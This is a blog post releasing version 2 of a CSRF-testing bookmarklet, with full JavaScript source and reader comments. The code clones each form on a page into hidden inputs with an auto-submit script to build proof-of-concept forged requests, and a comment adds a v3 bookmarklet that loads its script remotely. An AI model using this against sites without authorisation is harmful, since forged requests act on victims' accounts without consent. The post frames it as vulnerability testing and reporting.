Sea Surfer v2

A little while ago I made a bookmarklet called the Sea Surfer for detecting and exploting CSRF vulnerabilities. Since then I have got some feedback from Ashar Javed which has prompted me to create a slightly improved version.

Sea Surfer v2 release notes:

  • jQuery is loaded automatically (no need to run the jQuerify bookmarklet first)
  • All inputs and textareas are converted to hidden inputs
  • window.open is used instead of iframes
  • Bug fixes

How does it work – what does it do?

When I come to a page with a form I’d like to check, I click on the Sea Surfer link in my bookmarks bar. In the new tab I check in the form if it contains any CSRF tokens. If it does, I don’t check the page any further. This takes less than 5 seconds. On the other hand, if the form looks exploitable, I change some values and try it out. When the form is submitted the resulting page mostly gives immediate feedback if the CSRf succeeded (it often contains the modified value). Such a successful exploit often take less than 30 seconds. What I am trying to say is that I think that the Sea Surfer simplifies the process quite much.

Installation

  • Add the Sea Surfer v2 bookmarklet to your bookmarks (by dragging the link to your bookmarks bar, for example)

How to use

  • Choose a page with forms that you want to check
  • Run the Sea Surfer by clicking the bookmarklet link
  • In the resulting window or tab, all forms on the page will be displayed in text areas. Choose the one that you want to check if it does not contain any CSRF tokens or similar, edit the inputs and then click “Test vulnerability”

A new window or tab will open and the form will be submitted automatically. If the submit succeeded (it is not detected as not being legit), you can use the edited form as a proof of concept when you report the vulnerability. I have only tested this in Firefox and Chrome (in Windows).

Source code

As I stated in the previous post, please modify this code anyway you want to. Then make a bookmarklet of it. This time I used the original Bookmarklet Crunchinator. In the bookmarklet above I’ve base64 encoded the code to be able to include the bookmarklet in this page. This is not necessary if you convert the code to a bookmarklet yourself and just put it in your bookmarks.

(function(){
    var version = 2;
    var w = window.open();
    
    // getScript() by paul irish
    // http://pastie.org/462639
    function getScript(url, success){
        var head = document.getElementsByTagName("head")[0],
        done = false;
        var script = document.createElement("script");
        script.src = url;
        
        // Attach handlers for all browsers
        script.onload = script.onreadystatechange = function() {
            if (!done && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
                done = true;
                success();
            }
        };
        head.appendChild(script);
    }
    
    function seaSurfer($) {
        function convertToHidden(elem) {
            return '<input name="' + elem.attr('name') + '" value="' + elem.val() + '" type="hidden"/>';
        }
        
        var body = $(w.document.body);
        body.append('<h1>Sea Surfer v' + version + '</h1><p>By <a href="http://twitter.com/peterjaric">@peterjaric</a> at <a href="http://javahacker.com">javahacker.com</a>.</p>');
        
        // Create test entry for each form on the page
        $('form').each(function(i) {
            var form, formInputs, inputs, area, desc, script, a, autoSubmit, formHtml;
            form = $(this).clone();
            
            // Some info about the form
            desc = '<h2>Form ' + (i + 1) + ' (' + form.attr('action') + ')</h2>';
            body.append(desc);

            // Prepare the form code
            a = document.createElement('a');
            a.href = form.attr('action');
            form.attr('action', a.href);
            form.removeAttr('onsubmit');
            form.removeAttr('class');
            form.removeAttr('style');

            // Find the current inputs (etc) of the form, only caring about the current values
            formInputs = 'input[type=text],input[type=hidden],input[type=password],input:checked,select,textarea';
            inputs = $(this).find(formInputs); // using $(this) instead of form since clone doesn't clone textarea values

            // Replace them with hidden inputs (and some formatting)
            form.empty();
            form.append('\n');
            inputs.each(function() {
                console.log($(this).val());
                form.append('  ' + convertToHidden($(this)) + '\n');
            });

            // Create a textarea and insert the form and some code that will auto submit the form later
            area = $('<textarea id=\'area' + i + '\' cols=120 rows=20>');
            autoSubmit = '<script>document.getElementsByTagName(\'form\')[0].submit();</script>';
            formHtml = form.wrap('<div>').parent().html();
            area.text(formHtml + autoSubmit);
            body.append(area);

            // Create a button that will open a new window that will submit the form
            script = 'javascript:function insertAfter(newChild,refChild){refChild.parentNode.insertBefore(newChild,refChild.nextSibling);} var area = document.getElementById(\'area' + i + '\'); var csrfWin = window.open();  csrfWin.document.write(area.value);';
            body.append('<br/><input type=submit value="Test vulnerability" onclick="' + script + '"/><br/>');
        });
    }


    getScript('http://code.jquery.com/jquery-1.7.2.min.js', function() {
        // Remove all global traces of our newly loaded
        // jQuery and Then run the seaSurfer
        jQuery.noConflict(true)(function(jQuery) {
            seaSurfer(jQuery);
        });
    });
})();

Again: the point of this is to find vulnerabilities in your own web apps and fix them, or in other web apps and report them.

Enjoy!

10 thoughts on “Sea Surfer v2

  1. “If it does [contain a token], I don’t check the page any further.” – I’ve encountered many pages that do contain a token, but fail to validate it server side rendering it useless.

  2. Just testing the SeaSurfer here! By the way, I don’t see any CSRF protection on this very form. Is it that akismet_comment_nonce value?

    1. That’s the problem with running code someone else has written. I haven’t even considered CSRF on my own site. On the other hand, had I written it myself, there would be more mistakes :)

    2. I rewrote the SeaSurfer a bit, and I am using that version myself. I was going to write a post about it, but never got around to do it. The new bookmarklet looks like this now:

      javascript:(function(){(function(){var%20w=window.open();getScripts(['http://code.jquery.com/jquery-1.7.2.min.js','https://raw.github.com/peterjaric/seasurfer/v3/seasurfer.js'],function(){jQuery.noConflict(true)(function(jQuery){seaSurfer(jQuery,w,location.hostname);});});function%20getScripts(urls,success){var%20head=document.getElementsByTagName('head')[0],done=false,script=document.createElement('script');script.src=urls.shift();script.onload=script.onreadystatechange=function(){if(!done&&(!this.readyState||this.readyState=='loaded'||this.readyState=='complete')){done=true;if(urls.length===0){success();}else{getScripts(urls,success);}}};head.appendChild(script);}})();})();

      It loads the main script from github (https://raw.github.com/peterjaric/seasurfer/v3/seasurfer.js).

  3. Thank you. Interestingly, the v3 code doesn’t do anything for me when I click the bookmarklet. I just copyed the code from you post and pasted it over the extant ‘location’ field for the v2 bookmark which did work. I have not debugged it yet, though. Firefox 20, Kubunu Linux.

Comments are closed.